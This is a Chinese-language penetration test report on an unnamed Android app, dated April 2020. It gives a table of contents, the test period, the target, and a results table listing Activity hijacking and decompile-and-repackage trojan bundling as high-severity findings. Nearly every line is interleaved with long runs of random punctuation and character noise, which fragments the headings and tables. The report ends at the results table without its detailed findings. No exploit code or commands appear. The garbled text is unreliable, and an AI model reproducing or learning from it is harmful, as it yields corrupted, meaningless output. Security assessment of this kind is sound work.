, h" B$ ] ~+ y* a2 t& h4 n. b0 @$ n4 y# A$ H
2 D5 _) c O( g9 m# P
9 ^* C |; o6 C! g( R5 k
! G: @% Z( b; B* _7 K( E2 M3 T2 S+ d5 ?/ g1 v+ E
S% }' {4 j# O5 S6 [
0 }+ t2 i6 _) R
" x$ P: g$ h% C3 b' ]% t% H; ^2 K
- \- M* U6 Z/ C' p8 N6 i . L' p6 o' y9 o
5 N) w5 a# H Y+ Z e0 Q, A 文档编号:
5 `$ h- ]4 x, \# _& U* [! `
1 L, V8 @1 ~; B. _. e
" [" n/ u+ m$ z- J5 z# Q
! }5 ?" Z$ s! ?5 C
& \* E2 E% l( X! q$ k. |; Y9 W
2 @2 R. v7 g: r& E4 [' m: v) t- x
) n# @8 S- T9 z, d$ C9 v/ b
# M( s7 Y/ Z' X5 ]; }3 U/ g' k
9 p7 @& O) S4 S
) f3 m* L/ _. _6 R; U " D) X, L* p" b5 V5 ~! T: r
9 I8 i" r, e( g( e- @! w( [: J; u, h
6 E/ f! s% W, G, t! t, M5 w$ Y4 U+ U3 w
6 o! ^5 e; ~$ ?: y) p, j4 @ [
5 }- C) k& L. S
5 [* x$ B9 o5 S
' } Y# T: h2 s& L' Q# A- u5 T
+ { W9 x+ d9 d; b7 R
8 j& i5 A7 t) m
! L. W8 y7 l6 @+ n6 h+ p j8 b, x% {# g c" W ^) X# M% O
+ q1 D2 k5 m" l, w& F
$ B2 z. s, _( q9 {1 s+ W: e Z) l/ l8 o- M$ \
2 V9 x# K; ? r- ?
; P6 g& K0 R5 W. o$ N1 r6 C7 w( L
) v% S5 T/ Z% R$ g+ t! D/ E
2 |( V: P7 U" ^/ k. O& l; j" U8 t
! p: ?) p3 E# q5 @$ ~# B
+ E% W0 x% T$ ?, @& J' F
# n Y% U* u- t
( U( I$ b7 ?1 U* l
4 q z/ z+ k* M1 g2 Q
% L: C) s, X9 k( x' [, U 某某某APP渗透测试 $ v/ l, ?( h4 w$ |
, F! z$ B9 s, Y& @ D6 y1 c
8 D( N! ?: l7 {. c$ Q* D. r
2 Y. I# W7 Q6 ]5 o
8 P$ L/ c# L& @
% I( N" ~9 A6 w3 I9 _' z; M; v% n
3 @$ \, _: l. c! t, C+ ]' P
3 {- v+ ]9 \6 F% N, N, h5 x
/ p0 o W) D% L: |# `
# _1 U$ x( m+ S4 g% l f
* u- M+ c# J( Z9 P! e! c" V9 Z) f ]" ~. N+ S; X8 m* ~8 l
6 S9 z# l; i% a1 ]
' ]1 R5 m2 X$ |# H7 h/ }( `
$ P( Q9 U6 Z% d" y( o. l4 U
v" \2 X+ w: N5 L% i. ]2 ` ( K Y* o$ R% c% g
, L3 \ U) @& ]7 |! f' P) k + ~% \5 G6 A5 N. j6 D7 v
" s- V4 F+ U# K i( R; ^
: w8 K l3 _+ t6 D' I. y9 z. Y8 f, n$ P' O6 V. T. A/ ^; N
) s! V& N" I4 v
8 m" f( H% _4 ^$ u1 |
5 D# G5 A+ K K" z: S; O+ {8 G; D% v+ e$ F/ e! F" j- o
- V% G6 ?. x- ~7 F. D3 P3 _
) ]3 {. Z' n2 P w# l- W; f1 `: P
* `) [6 Q' i+ m/ {+ h9 R/ a) ]0 {8 g6 ~9 J
技 术 报 告 5 y' \0 f% V9 j, O+ }) L7 T
n/ p9 G) E& w9 A6 d
. o P5 I8 v1 X% Z
# T0 A! Y% Q2 r. a. h
. W- p$ H1 T* F' e8 L! I9 q8 f8 F2 M9 D) Z' b) d
6 s. h1 |2 r* U8 D
2 ^6 i0 q' n2 s# X" h2 H# G
% [0 R6 v: Z" ^: }3 f+ a* B
+ q' w& @3 ^* H8 Q; S, G! b - f: Y) I. k8 j1 M" O/ @' @( c6 L
- P9 z) H$ S' [" ]& s2 f
, K- |/ y! Y1 r6 ?7 h+ ]
8 \4 S- ~1 ~( }
7 \/ X$ t, ^' V# F3 H5 f
* |( @+ u' `1 G 9 u5 d0 J+ Y5 T- G2 q$ @/ i3 C2 T: z
9 b$ m% k9 q6 P) K
# I% G" _/ h3 P. l) K
, x6 C: L" Z: K
- _, E0 O3 |! J# ~
: f( ^$ G* ?2 p" x
4 } c* @4 W0 V' Z1 O) v) I/ c' @8 M
; C* ?# Y' n$ q$ |& _
3 p. T4 ]' _/ i) N. ~# Q
9 M% R& a+ W7 J% S$ e V3 M& W/ l# {3 m+ z2 u; I# r
& d/ T' j h& j& q5 T" R! F. ^5 S/ q
( D6 ?. H8 A) ^) A0 H# H- t ) `' y( r1 A: }7 C* k% b
+ `; T( g9 z- o" I- a N7 A
3 s/ J7 O1 ]1 b$ n( k, Z3 S8 N8 u2 m7 O& F' U @- P
$ [3 a% b$ M7 d S% Q' |! z9 g2 S
" m7 O( v- m" ?8 ?
8 f' F1 S) E! `
/ y L0 o0 b) a v0 j ^. z
P7 M, J- R- m( u! a, k0 {
) P6 s/ L. @4 d" r" P' A' ` X# L
2 ~( Z+ Y) h% j2 v6 q . X7 h2 G: N1 f, _( C5 K5 t. M. i* Y
+ s$ d3 _% J& h
9 R" X/ v8 V, C8 J; `! h
% C g7 q* _ L1 [ 6 `4 @- V u2 I D' O
3 b% t) L+ W5 V j. H
" \6 [. p \* y& A; I# \2 ?% w" n
1 _/ _' s! E$ M7 c0 s# a
- I& D* I) j/ V8 a! }' }5 z6 {$ v9 v4 ^% F
9 J, u5 f6 Y1 x' A6 r/ [ t$ |; m: {2 ]* Z5 M Y" b3 t
5 m7 {# `. M' G( k
, U1 l7 \+ c; D
8 z. B z/ V) u* U" F% I
+ C5 ~3 Y$ V. N
: x/ a4 g& H; P6 \/ w7 M9 U. v% R: r& X8 e
7 J- y& y) @" f Y7 e3 V6 z8 ]7 ?2 Y3 K. z7 u! G: d
/ l1 s K7 Q/ `6 N4 n& K& @
8 `. v% c; r4 M
3 w% ]/ O8 | a( R- }) v
1 R0 S) h! N2 e$ f* V9 Z7 D& L
2 z9 \ C' G4 Y% h
7 e2 m0 ^( \+ v) J: V
6 Z9 x7 |" v* z4 u5 `+ R
1 M3 C, c) f! Z2 L ! V1 b3 x% h! S
. z' I$ r3 b; ?; N6 ~0 A1 K2 R( E" \/ \
$ q0 \/ S# j& G0 N" Q; x! ^9 C$ T5 V1 e8 c
" q. h z! V8 n9 S; g8 A6 ~! P X
# c+ j# ^0 Y! b) W1 G$ h
( z, k5 i- B' ] . H1 |% j4 W8 g" N9 _' q1 R) S$ |7 @
f5 I; D/ w6 {& S
, e- d: ?9 [; k L! ~8 s
* F/ H. ^9 t. U2 _3 p
2 V7 X; q; b: E% X7 ?) ^( h
2 P s/ a+ o5 y% x$ _$ s8 c$ q8 S
! Q2 S5 ~$ F: E( ^; `5 K
! H* K) e, H+ W
) U% W3 }9 F b) R5 {
6 U/ V7 d9 W } f# X! n/ h
3 L$ G1 A, O) p+ X
! ?( V% V* H+ {: Q, E+ @- `/ i
- r! ^& ?2 t) d T$ ^4 I+ }; N- y2 Q {# y
& V# Q0 \* T5 o, F' Y$ [
; k/ j1 T) q" ~ E; g- M0 X- u
- e% C8 ?0 f* h) p; `
/ F4 w3 E3 Q6 u: u Z' k % X- C; O( b( X- k0 _" G
" R0 n# P O: V: Z
4 c/ P+ v: r2 ?6 A
& L/ j. H, W" _% _
! P6 |+ f, t* V; [0 o! B4 @
" p _, I/ F% M. w+ | R8 f4 a7 Z \5 V7 `
1 n) H# P: n; a- z
5 S; J- o: [& V' a: p8 t- J: q. g- l" \' J
' ]1 p) w$ v! v/ X* n- b8 d; r& s" u9 K$ e$ |% K
$ Z ]" v0 a6 P
' k& @, }# p- L6 U
4 }/ v. |8 _$ a% S. F0 ?( D/ E' k- N, f. G
$ C" J# c% I5 E# w( `
& Z- u4 o: v! C 二〇二〇年 4 \; o; d8 @' p3 L. X
8 `1 v0 Y( x. w4 J
. w0 ]0 o9 Z ]% j- t8 \
) X- p% M3 t+ a. {- }
) g! ?- s% P2 A2 B1 s6 r7 w7 t, X
, a' y, R6 r6 X2 Y
! U0 k, u3 v% D/ a
1 O; `& N+ H& E' G9 O+ |
- R/ E% u& a( ^ x9 a& x% z5 V2 J/ n$ x! o% e W$ \
* P% v; w" K j3 o* K: i. c5 R0 ]6 q P" N7 I. s0 k: J
. P/ }6 G6 z' e3 R! w6 {/ Q" `' I% O4 c" W6 [( M# g; N+ B
6 W) M3 h0 q$ ?, `, F" T7 ?" O
! _& w3 A5 q; f: p& d8 [3 [
# o$ K. }5 }( U O
: J/ ` X" b. G) L / Q' E( l$ i% ^+ F; ?6 X
9 s! C- t( U% s% j- r+ s# R 2 h$ I% x I! c" f6 g1 q! V
- s4 r% j5 R" V0 t. p& R7 S* V0 @
目 录
/ o( |; ]3 X; f) P$ ^' g
! s4 d. j1 S3 b; e7 A/ s, B$ `6 H
5 p) I! w5 Q( ?# Q1 ~/ m
" \$ ~$ Y4 c+ r- _( r
2 o" {! ~/ W; Q. I) B, g
8 k# P2 a' P# ], \7 v5 r ) R' M6 ]' P8 b! N% `
P1 v2 i" Y* r' \9 F( \; D
- F- D0 V- g( @3 e
# C/ _ c5 q+ X) I% b
2 _1 x/ C; ?4 m8 F7 R; _6 Z
& P0 t4 ]% v. \% S# l0 [
' z5 E. Q8 t* O+ V( y% Q+ o0 L1 K' o7 {, S7 s4 g/ P( \
1 概述... 3 2 @; s7 M1 Q+ H6 S- O; |: s5 Z
1 ]2 h7 o7 G/ m# q7 ]8 i
t: q$ u4 {- _" K) B6 F3 H
4 t/ C1 [8 R S& z7 h4 T5 Y, A0 A
1 E! b; M1 p% ], p8 F5 _8 ]. k$ O! y6 p) e
1.2测试时间... 3 . F$ O9 r# n$ ~$ {" j" E
0 G9 v1 @& R q. p
" x4 R/ {& i* D/ ` p
_& ]; t. ^3 s% h- J- D6 A- j 8 Q5 t3 H. W6 v0 F7 a0 X
- @ d6 r# H, Q. u6 I# |& I
1.3测试对象... 3
s" u( W' V) p) f6 S& k/ H3 \& e, O. ]# d+ P9 z
% B7 Y0 c8 Q9 f: L% J& O: z
2 T5 E( V" O2 a! k2 { $ ?' C; |( h$ G2 ~. M$ Q, d, _
+ D! _( ?- Q- h8 T# j/ m3 I 1.4测试结果... 3 % v+ N. ?- s! L0 n
( x2 L7 d R/ n1 c. w" \" ]- v
$ b% z# k& N+ C
' }4 q: E* r! a2 J! T- E5 x ! L# d8 J" U* h' h$ f l
' T; \5 d: h4 o9 y8 n+ d$ C
2 检测结果... 4 1 g1 P7 P. I; ]9 N$ g& C2 A
# s0 A1 K' M% O0 w1 F5 F) ~
4 Q9 q1 _; A6 f9 f- |' v; H) G
) ~2 l8 e+ y4 m8 x9 C( r* E
) i, p5 S y8 V8 |
9 n, ?9 H3 }& m 2.1 某某某... 4 , ], A8 V6 D; L$ |# L" u+ L
! g0 w& O) ^9 c
$ w' j, _ e" n) N, v# V5 s
6 ^; i$ r. j% Z9 ^3 m- e" E
. x: l4 k: A. K6 E0 T# ^
( L$ i- {9 y4 q! B0 n 2.1.1检测目标... 4
) w7 J. E2 A; Y( x- n1 y R5 V8 K" H/ @9 W1 b# [" t$ ^ j* V
) f5 ?2 | t$ Q6 W0 B' J$ v- z
) U( R; t. u3 w
1 g- Q4 o9 n7 b7 v2 n% e2 E# U
2.1.2检测结果... 4 $ g% a" m+ D* F) ]1 y
2 x: H. }0 S) W* D2 x
i0 I( ?: Z Q( l# I3 r
1 G2 ^; g" v& l' M! o
8 Q( Y6 R3 A8 P" L
S$ ^$ @' \$ E$ }$ q 2.1.2.1. 4
8 w4 P6 {$ c$ d/ r! a
5 V1 f" l% t# L% j' M6 m$ X
: p; h4 p- a9 l
* A! K5 j2 U2 l, j; c8 ]2 A0 j- h ) v% o1 N ^6 B' `( C9 }
6 Y* \- }: P; x) o: `, O& Y% Y 2.1.2.2. 6 ; {7 d' w5 T+ l9 v5 @; x% d
& I$ J* u& v3 l( w( @" u1 L( k
# H8 W0 N9 [7 W% d
& E- f# a5 f$ p5 |- f
" k) ^" N% W! Q# X( C$ _$ j, n$ i; M, B1 Y
. M9 U/ l: Q$ d4 ~% D- C' \/ E- f
. g8 z( ~; r% r
0 r- n9 I7 Y" |9 Q& R( V
], a2 F7 R6 O" y% a- ?. C
1 l& E4 _$ g% h; P3 F3 ^' G5 E; `2 G2 [/ o
8 F w/ o+ Z0 |; q# G: v
8 |0 S3 K6 v; p
- n, F5 q# Q: Y; p& ^* K$ _1 d
8 D, v# |- T3 P8 F- n5 I' q6 g
- a, x! B9 G i; t, d2 D$ m3 J# l
- S) |; o3 P! T; i
+ N: M3 K8 P' U7 T1 s+ ~) D: Y$ F 1 概述
8 ~# G/ ^2 J0 ^; [& _, r- w: u6 W7 f9 T C7 @% x, q
# c c( ?% J! ?$ {
8 b5 ~ h9 E! r2 x
+ M/ I& G4 l8 F* @3 R# s, L' w! ?/ y& t
1.2测试时间 ) R" |' }6 c) _& p3 S& m- k g/ k
3 U4 Q; g, d! I7 {. L" f6 g
" J8 G" b9 \4 n8 U6 P9 h/ N( P# ]
: p1 }# G9 f) {4 f+ |1 h
' N8 s. ?$ j# y! U
! b* `8 R# H C! A% w" f# `3 |$ G7 k2 q1 [
% O* G9 }/ V8 w, r N' c8 G, {
# W3 t2 d! g1 L1 U: \9 S+ | |
& W* A! i- C& H* n% ?3 A7 e1 @ c n8 u3 j1 D/ q: m9 \) a: U+ F
4 J, h# i6 r( W6 a6 p- b- l" ?
1 y' w2 P1 S) [3 ^8 Y* T 渗透测试时间 7 v) n4 r$ A# J- c. P: F8 |% U
5 W0 c: @, p3 c( i$ y6 p) n/ G; o
) ]% a3 z' L$ q* k: W# S
( {7 I8 _* Z. L3 b |
; j7 m' U4 K: `
' q) d+ t6 c: \/ ^) e. V- |1 b
4 S: K$ Z$ a% o; g: \
- p8 A" d* j9 a) C) c
, m" g( }7 x! u& O; S& {
; R r. J& R; w n4 Z) c! a t, [$ l4 t3 u |
+ g* l' n2 n/ O$ S
( }" Q% j) R; ]
2 q7 ?% T: K8 J$ m
- {1 }# j, E8 K) ^ 起始时间 : {7 u9 W" i! c- @
) l! x& S% z3 o& |; G1 N$ j# N
H5 k1 S. ]' ^) T/ U$ W6 Q$ g$ P" |6 ^! _, n
| 2 k( V$ d5 q b: o- T) V/ g
/ u3 p9 s! D7 p! n k
% i& x5 Q* \% f0 u8 q3 t0 N! `
) |# P) B4 m* M K, C2 V
" @, Q, k3 z) p) n7 X
* |/ ?( z7 E- y
2020年4月6日 - v& x& v) w+ H4 D
6 i5 x0 z, b8 j. q8 m
; y8 d' ~& J5 A7 v& R
: b! i& D- N% b) R6 z L" q | : O# f. K3 V9 J, I! E
9 g9 w) M. n% B, C
" A5 G+ D& k. T* m5 e9 ^. V
$ M W; J' W. X$ F& `4 R 4 b2 S3 Y$ Y5 r: x! M. T8 X
4 e0 p& {1 D+ I9 S" s8 f
| 0 `3 U( d$ A9 O4 o x1 P
9 y) F: I2 e; G9 `
( E" i9 A& d1 R- b$ c7 D7 b$ O. e6 i& \
结束时间
# p9 e: G2 n5 ?8 U2 W1 H
/ O" S1 |$ X( J% @& h; p . f5 O- \# I) z4 S( X
J- m) x8 d9 s( E8 r+ E |
0 n1 o. o; w* y. B" ^( X S% Y9 ^% r* J" `1 B/ _
) M3 O5 l. s5 R: o I
5 C. L* ?" ]" @
4 P+ ?; ^9 T% M5 d3 A9 p; {
$ v7 I" v6 j0 W$ l+ S 2020年4月9日
/ ?5 [% J( Z9 R$ s+ _7 O6 L0 V# B) h7 F& C" a
8 d6 \ {8 w1 f) u: U( o
1 g% W) j) Y1 P. Z2 i% }
| 1 `$ j( ]/ E" B- A# d
5 r6 W# L$ t# s) t. k0 J) `
% I) d2 k' a% c7 Q1 t
% E& |3 [) B5 P( ]8 Y' X. k 1 ~; }+ {. f' n& Z
9 `! a" F% _* _* F1 v( C
9 z: ?4 D9 d; F7 G+ D1 E3 u
1 l! C+ [+ d% o% V4 s" Q. N4 Y8 u+ R* z
* [) ~, D0 I/ }( H; p- x
1 h) \: k6 i. f7 z* T
1.3测试对象
: d3 g$ D. Z) Q8 l' P7 B/ X
$ T! c5 A# B* W8 t6 }1 i/ [8 B* W
2 O3 T$ t, A! j* A7 C( j) g+ t
- n, E6 j" C, \2 z, P3 X
$ O: Q, `5 a. A+ V L; v" ?5 y( s! s' c5 h6 c N: ?1 S
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
% H: [5 u" N# x& G+ d
) G$ H I7 |: V# ?5 S# `
- c; ~9 ~7 Q+ F5 k
( [, i' U) i# P" K$ u 0 _" w+ |/ q; `" {4 Q1 `
7 b/ h: a F) j: N
表1-1 检测对象
, u" G( P& t( m& m- q7 _
3 t7 d2 V( }0 }, I. m" P3 Z- R
. j9 Z4 O1 C# F$ h) j5 v# u- O& A; p2 j" O
* C( B/ p, i, Y
' s% p$ `2 B6 j' j, S) ?% s/ b
3 j) a% b# s8 b4 F& F9 R, K+ i) \6 k# q, T I( |% n6 Q
/ h1 L& z( [7 W' x; g, Q1 b0 _9 ]' o' E" x1 z5 \
|
8 P% B) ?7 z. m, v
# f4 p+ q B) T) O6 | H4 v 1 a: e1 l# {5 g
: V3 g, S n. D3 S5 u
序号 4 O; ]' {2 Y4 m u* t7 d' j( t# Y: |
! G( @" G+ K0 r! R
% |; Q. C9 }+ w6 K3 r* n- u- g
; j/ y% K% Q5 _, Q6 R7 m |
" z8 A/ }4 K9 p. F" \" q/ u S- A2 S
* F+ C3 j( k2 k; e% C
6 C6 K9 v4 s$ R. r% I, @! R. ^# z1 u
v& b+ ]; G; k5 l
! U! s5 _9 @) s3 c 测试对象 & K: v7 s- I2 |! S) v1 v1 r9 o
`' k, d: [# o ' w8 u/ H+ u& c" x& T
* {( o% m7 ~6 x( ?& _! T
| + a( x" o- N1 z. ]; E+ h- T8 V
5 B3 y4 u) }/ {, O
2 b8 G* _2 f3 E% L" `7 l$ u- r8 U: d3 [" X& Y0 o( A g& o
. D$ } J+ g9 ]2 p& ?1 v! u# k% ^( ]5 q: E5 M. J1 E/ n
测试地址
5 L1 g) ]1 e. R# x
0 d' S( h. p9 d) @4 j ' _, n! K* m0 ^
- K% s( Y- r3 W) U |
5 r* p$ [- p8 s! Q. T: E' C7 W1 }' ^( Y( c% K" [' q; C
% ^ Z9 G; F" J6 M
" z: A; K8 {. c2 Z# v, w8 } % {8 u4 U1 }5 J5 p! Z
! c: p% c q5 ^- S2 D0 m I 安全漏洞 - h# v. T" }. q
( l& D: R, j$ B1 ^- D/ u* G, C* }
6 Q9 r8 s# ~& X3 M2 O; a, b
2 R6 w$ [0 B" c+ v- j. i* Q | $ E+ `0 H& G, x1 J3 m) r
7 [7 f9 [4 F% y l3 V
: v! n. |+ D2 E7 ?8 q
& z! {! b9 X7 d) X& @
! _$ n! F9 [3 F5 l" A Q4 G& [! Q+ N8 N; E+ Q6 c$ e. g$ p7 F
|
1 }. F% T p/ ]0 Q
- |7 y/ Q1 c1 R( \ + x1 j* w4 g2 ~( {5 }
) \% j( K4 ?: L" K 1 . i$ H5 ]2 B; ~6 `! x1 G: I
( b) n* v$ T( @4 @ 7 {' m* F* j! L) i W
% m) W- n, Z; G5 j | $ G6 h/ Y0 G6 n3 E
0 c1 s+ u3 T8 O8 Q' O
* V3 R- G2 J P
9 p: C+ q% O( l# r 1 }5 e4 Y6 ?+ r- y: `& M
$ M R7 _& A } G# ^8 ~" B) r. w 某某某安卓APP 1 D8 z: a6 o- i* ^/ W5 \
0 ~0 b# [' n4 ~& h
% ~, u9 x: R( h: ]8 L$ Z; V; m
, }! v2 f0 v7 v/ p4 Z3 n
|
8 Y2 n5 h5 f: n" f. K; _2 }+ r& p- ~3 X+ y( t2 n
" w" h9 j: H. N5 c- t3 h: T" N/ Y4 y1 x0 ^ @
& K6 x- ?* d% t* I
C( u9 v5 W. S! }# H) K , k+ D# C2 |: Z/ [% h2 \6 }
2 n |/ k4 M' ?6 a0 B
( O+ s% J/ ^2 p/ i6 I. D4 ]. ]# d( c" N+ H7 J8 p7 O2 h$ h
|
1 s) X7 ~, H/ }5 J% o
' e. D# }, F$ t% p
+ k2 R" o! B3 U; B: H8 |: o
1 L& K2 S* H6 S5 a8 i) ^- @& h * H; P" u* H$ U( i
9 s" D ~0 j* [, k. _ g+ f 2
% W2 v$ ]5 y8 W, H t6 Y, r. ?$ k/ I- ?; Z! C
$ s4 i" B$ V1 `: j0 p
5 M3 m! y& L! Z+ v) F8 X8 {7 {- W |
9 e7 H. Q0 w+ e/ {8 E. G
) d1 Y* ]" X9 n0 o, C
; i3 C, |9 K, s6 ^8 m1 v5 b' r& x
1 ?3 i4 e3 X( z. E, N! x k, o' _" O
4 y7 h m9 X# M. N4 c& l
& q! R2 D+ G8 c
' H8 ^' |; a5 q" u% m( L
# q3 K+ X. S% i/ H! [/ @5 \' O
; i: c; W' N, G: R- j
+ T' f# Z# w6 d2 W; _ 1.4测试结果 - w* ]. y# l$ X( C8 f; h2 V) h1 p
/ z3 i# J. B7 J$ @- @
8 ~: L" k3 I1 t3 A/ e `7 b2 ^
! u5 Y; R' L5 n) d4 S: ^: u1 t
1 X" c4 Z' m/ t2 H$ \/ Q+ v7 I ^2 H
% E! P9 W7 L q0 p 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ( C/ e+ D/ j2 B3 ?
+ C9 Y5 U$ a1 T! O# u
' Y1 y& s" E1 ^: }- s' f2 F2 I* @
+ L0 j# E6 o+ N
: ]9 Y' g' D3 y6 u9 A/ m1 K % o! l% r* S4 y, Y: B
9 [- p1 V' g A5 ^1 ~. e* p
. K+ J' v4 Z% H* d3 j e: G- L7 M& _2 F J
) ?8 c0 S& M/ o c: [8 H, x
$ D6 K* w$ d$ m+ q- z
* W& h5 x% b; @ K
( f5 B+ l. T) c! P1 e
$ e5 ]0 V: E; D5 f3 @7 C5 G
% v; _4 s3 R. d0 c g/ q
2 f) R Q9 }) _% o9 M& L M1 b% V0 U) U
| ; d/ }( R1 o4 B8 s
/ y/ l* c$ ~2 Q9 D/ [: u$ ]
% Z8 { [" S, S4 F: g+ s
t) Q: A4 }) `6 V: g6 i9 R0 k
序号 % x- K, ?# Y& _& N' ` L0 `
/ l7 ?2 D* O$ U% R
5 o) }# j% C5 G5 K2 u! M! z
r7 U& P/ {+ H, H" D/ {+ k
| f8 ^( }* K1 |! O0 S5 l
) c: N; U, s: V- v; e
+ A) f* P0 P' N/ {; R U4 y
1 Y. G( i, p K2 V! `, ^9 B* `; l+ j
6 J3 P" P* ?' \6 v' X% q; W( V1 t8 e, i, D* [9 n/ v
系统名称
+ M# R& [ A2 C! |, b% S9 k9 |! x% X
7 `6 ^3 J. Y0 [# e8 M
( P. b) G+ Z( h3 ^) {3 C7 w. b: @7 x9 Q% s* h7 V* s; B( f
| 3 } K; s1 N( K- H9 d* p& j
% B! Z* n! K$ K+ ~6 ~
: @0 W1 v4 n1 l" x/ I. \* z" }5 {6 [' b7 B# f
" e6 a1 w+ g7 ~& I: y1 S7 K/ l4 Y- p) d- q
漏洞名称
5 ~) k+ n& ^ b' w! |7 N+ G8 K6 ^+ m" M. V; |, Y4 d
; c P" B6 C' V( @" B: d0 o$ x* \ y* X' T6 r$ `
|
9 N6 m: w1 O1 V' `6 T) q
, C2 A/ h( {( i- L7 K) E
4 g/ h# x% u) m( u: z* u
- d5 O1 i3 u( q2 ^& ]
( b; A+ s4 L2 Y# g- A" w% @$ k5 l2 {: G: J
漏洞危害 ' q8 X! e& G0 A
' f0 A# j6 p$ a; Q0 X6 X2 ^9 ? ) e5 s. ^- e H5 n ~
' |/ n" _# d! S9 v$ K
|
1 {$ _0 R+ F7 K4 T- Q. H; f4 o, L2 N. e q7 `
! R) a8 Y# O% E7 C
! E0 O& N5 u" Q0 ~2 J- w h
" Z% O7 W. z. h, P- o- ^+ a1 o& r
! X( ?, Z7 h' B1 g& B6 K 修复结果 9 X# L5 }- \ u& F: [6 d3 ]
' Q$ Y' G9 g$ W5 Z* V
7 A3 \5 x$ h2 C! n! A
6 W0 ?3 y3 K0 t' n0 a: d6 g6 S
| 2 l" V+ d; }0 ^7 Z8 H& x3 t+ i0 ^
6 V* ]7 Z& }! E. s
3 C9 X& d$ {8 _0 b0 t4 H9 W- T0 _9 X4 e. x9 o4 M. c
1 |* x# i' X2 T. ~; I
! y/ l* q$ l; f! v! P |
" d6 {2 C7 { D# @) {( c
5 a1 I. q+ s% G% b
& W, j. u9 c3 R. C1 ?. S( N; H( e# U3 |3 K% e* Q" n; \- C
1 / E! z5 n; O {" n$ d3 E
. y! h+ n. Z D' { \
) \' s% j {6 D9 I6 v
" E+ O2 k7 P r) x
|
7 }) o. D' H" K' B
. G9 {/ P1 H9 x4 C6 A # h, ~1 z" ~' T) s4 K' w6 ^1 f( ~
* ^7 x6 E1 d8 t* M7 k9 d B
$ d3 F3 u+ V9 h. T% ?8 ?0 L( R" S7 {, u" w: L' e! i) ^
某某某某某某APP ! U2 m6 u2 a% S5 O/ @
' H' k1 \$ p7 V$ v
: [) e: D) d- x
6 y2 k8 H- k8 n. z4 T | 3 U% ]* h& e# @$ c+ g* e2 B( Z! @# b
" r; p3 | ?. P7 e" k/ _
9 i8 q+ a* s. V D, x" E
$ Y4 `* g" \$ F; h# _; _
7 Q0 E: g h' d- e& V' X. e( Q% j
5 ~, b. s% ~6 d( {: ^& M% R* c Activity 劫持 K7 D. s, H+ R) }# m
9 Q0 |$ B( R8 h- ?4 ^4 L7 N t# Y
( U) f& _8 @" }- r0 y; h g) ~
, l3 b& z, t$ H/ Y
( H9 O7 J* T ^5 i! |0 A, {7 N/ y5 q# x
$ @4 d \# b. N4 g! J* H- [
+ h$ w5 ~3 N/ R) p
4 {- E" G: U8 D* a# c 7 N8 ~4 }0 j- L1 b7 i
: H1 Q6 \& j5 N" j. X
| 7 G3 j* `# q0 x; l( j% ~6 Q
6 s1 e, }2 H5 O
) v1 n/ O- P# A2 l6 B, b
& ]3 i0 n" T4 f# r2 d% i6 ?7 c
+ o+ h; s: O! P F& e: a2 F# [ v0 y& c1 n
高 5 s* ~( c) _/ T* y
! ?5 c0 w. R3 \
6 h' Z9 ?( h1 t
J0 R, `& l6 V8 U+ ~5 q! F | ) b, [+ u$ ]8 C" }% D
) D* ]; \2 d9 X, v 1 f" I+ W: Q z, Z1 V3 ]8 G8 d
, k& J( j+ }) b$ ?
- z( a% C4 w2 g; B9 k( }4 O
, q# `' {6 D& E, `- F+ C + }7 z3 K! ^" f* V5 m2 u
# g& N x0 @% y& }: g ) ?" u( e$ H, n
( M4 f& s6 U) `* i: D4 G. _ | * c+ X, V, I) x5 e
, X, G: z6 c" ^
/ o" C& ]0 X5 N4 R+ ^& b/ ?2 Z$ o) x" M8 v9 h7 Q: a) H
) Z* P( o# t- f
% G K: T5 x' m7 `! M4 r. n | ; P; d/ O$ w- G, M. E) V
/ W. A- k" m' u0 o4 _
( @# B) m( g7 }6 q! v* w/ i* O# q+ {, J$ ]
2 8 g# u9 \ ~/ B* _% Q* b8 D
* P N6 B* P% ~8 y
D7 z& T8 K/ G- d
, u: k4 K+ m0 e. |9 j | ( k) u" l* A- k% _0 d0 p& }$ D) J6 c
; z2 F9 N* v. ~0 }! G ; r; G g3 x: b3 w
1 v0 s1 n1 f5 S
- K% P( h3 ]: O9 o$ ^ r# T* _. ^7 A0 H4 v" @# z* B
某某某某某某APP
0 l. {2 ]) f" ^! z0 v( p- Q9 W# S W! B, t2 B' O( c' F
! V" }0 N% y3 |7 z
4 z* W& \8 t0 T R5 f2 O. P* Q | . O$ z& a. U2 ]6 O) D
/ g) V0 e* N+ G. m6 O) z 6 k! u) T8 Z+ O8 r5 `
) `' d& S' t1 i/ ^% m
. D7 n. {7 \4 J! @
' W+ n+ ] T5 Z; Q5 R) }9 g; ^6 m 反编译二次打包捆绑木马、篡改APP代码 , P9 b6 S7 M% o) {- X
8 Q5 c3 _" i5 X
' \8 G, J) I5 o% H p9 d1 P
" Y2 k8 E* H" J, K' I9 S |
8 B7 T& x! D6 ~: y" ^# _
* Y: a6 F3 q* v 4 i, C: i5 E2 X1 X
! q0 O9 p1 ?# U6 z/ G6 a; q * w) n9 x3 @+ _3 k i) N
0 n7 I/ F; B. v. n0 w
高
; B, \+ a3 Q5 h, ?
( h; I, c9 K) q1 S( ^' {
0 r0 g2 H {. R# K$ c3 S
: X/ j+ t5 X' q+ W | 0 L3 U% | u1 Q, |7 B y9 y1 ]
( d# W1 R# K$ g7 p
5 }' R* O2 _, q9 w. F' Q# P; I$ b8 J6 r$ B' w
; Y' X& Q' J9 s# K- g
" O, z! _% f. _' f n* F5 v! ` 9 k8 v+ a7 U. J$ Y, E) ]
( V! ~. L b- {
6 `/ _, C4 Q6 t: J6 ]: C& h
) r3 A2 J- S0 s6 A y
|
. ^: ]6 D5 |' v s
2 C. o/ ~3 U& E- s# |
. `& R9 l" h/ p# j+ Q) G
) s' B" x" B& P7 T1 u
+ ~" M5 s7 I$ b v4 _- x
8 w! {& q& a/ @; H
$ }. E1 `7 {- F6 P' ^
}4 p7 {" m0 Q: W M. [- w( p. H 8 K# W+ N: F% F5 N
8 u r8 \% e, @, m$ ]
0 O; ^8 K- W- W7 p, i2 ]6 L& h0 e9 A' [1 f, R; _0 y+ n3 [; ?
! N1 `( F2 P! A P( V
: r0 U+ Y. O# a" \6 A; g( @
) |# Z& _+ w! |- b, ~# C6 f! R" C& p* c! x) s
) L G: v j- v! @$ R6 I, a* |* e) \9 [& p5 m L
表1-2 测试结果
3 E: }7 Q! X7 {. g0 w5 ?
$ u5 q8 |% K' e; n3 a
+ q& D( G2 {2 |- ?5 u0 k+ ]1 b' b( ]$ o' |3 x0 A
- a7 L! j" S# p+ V5 q, n
